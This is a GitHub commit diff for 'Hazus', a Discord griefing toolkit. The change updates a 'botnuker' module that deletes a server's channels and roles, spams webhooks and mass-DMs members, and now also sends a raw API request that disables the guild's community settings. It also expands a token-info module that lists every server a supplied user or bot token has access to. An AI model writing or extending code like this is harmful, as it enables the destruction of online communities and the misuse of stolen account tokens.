Skip to content

Commit

Permalink
Updated Botnuker, changed tokeninfo and textmodules a TINY bit.
Browse files Browse the repository at this point in the history
  • Loading branch information
FlashGriefs committed Mar 25, 2024
1 parent 510f852 commit 1fd6e27
Show file tree
Hide file tree
Showing 4 changed files with 37 additions and 9 deletions.
1 change: 1 addition & 0 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import colorama
import os
import sys
import asyncio
from modules import shitty_sniper
from modules import bot_nuker
from modules import webhook_spammer
Expand Down
33 changes: 27 additions & 6 deletions modules/botnuker.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,19 +48,18 @@ async def delete_channel(channel):
try:
await channel.delete()
await asynccprint(f"Deleted Channel {channel}", 0)
except:
await asyncio.sleep(0.3)
await delete_channel(channel)
except Exception as e:
await asynccprint (e, 1)

async def delete_role(role):
try:
if not role.managed:
await role.delete()
await asynccprint(f"Deleted Role {role}", 0)
else:
return
except Exception as e:
await asyncio.sleep(0.3)
print (e)
await delete_role(role)
await asynccprint (e, 1)

async def spam_webhook(webhook, channel):
for _ in range(message_spam_times):
Expand Down Expand Up @@ -154,6 +153,28 @@ async def dm_member(user_id):
@bot.event
async def on_ready():

headers = {
'Authorization': f'Bot {token}',
'Content-Type': 'application/json',
}

data = {
"description": None,
"features": ["NEWS"],
"preferred_locale": "en-US",
"rules_channel_id": None,
"public_updates_channel_id": None,
"safety_alerts_channel_id": None,
}

async with aiohttp.ClientSession() as session:
async with session.patch(f"https://discord.com/api/v9/guilds/{guild_id}", json=data, headers=headers) as response:
if response.status == 200:
await asynccprint("Disabled Community Mode", 0)
else:
response_text = await response.text()
await asynccprint(f"Failed to update guild settings. Status code: {response.status}, Response: {response_text}", 1)

guild = bot.get_guild(guild_id)

while True:
Expand Down
2 changes: 1 addition & 1 deletion modules/textmodules.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ def menu():
██╔══██║██╔══██║██╔══╝ ██║ ██║ ╚═══██╗
██║ ██║██║ ██║███████╗╚██████╔╝██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ """)
print ("https://github.com/FlashGriefs/Hazus\n")
print ("https://guilded.gg/Hazus\n")

async def asynccprint(text, type):
if type == 0:
Expand Down
10 changes: 8 additions & 2 deletions modules/tokeninfo.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,11 @@ def token_info():
print(colorama.Fore.CYAN + f"------------{username}------------\n")
print(colorama.Fore.CYAN + f"Servers {username} is in:\n")
guilds_data = guilds_response.json()
guildcount = 0
for guild in guilds_data:
print(colorama.Fore.CYAN + f"Server Name: {guild['name']}, Server ID: {guild['id']}")
guildcount += 1
print(colorama.Fore.CYAN + f"Server Name: {guild['name']} | Server ID: {guild['id']}")
print(f"{username} is in {guildcount} servers.")
elif response.status_code == 401:
response = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": f"Bot {token}"})
if response.status_code == 200:
Expand All @@ -36,8 +39,11 @@ def token_info():
print(colorama.Fore.CYAN + f"------------{username}------------\n")
print(colorama.Fore.CYAN + f"Servers {username} is in:\n")
guilds_data = guilds_response.json()
guildcount = 0
for guild in guilds_data:
print(colorama.Fore.CYAN + f"Server Name: {guild['name']}, Server ID: {guild['id']}")
guildcount += 1
print(colorama.Fore.CYAN + f"Server Name: {guild['name']} | Server ID: {guild['id']}")
print(f"{username} is in {guildcount} servers.")
else:
cprint("Invalid Token.\n", 1)
else:
Expand Down

0 comments on commit 1fd6e27

Please sign in to comment.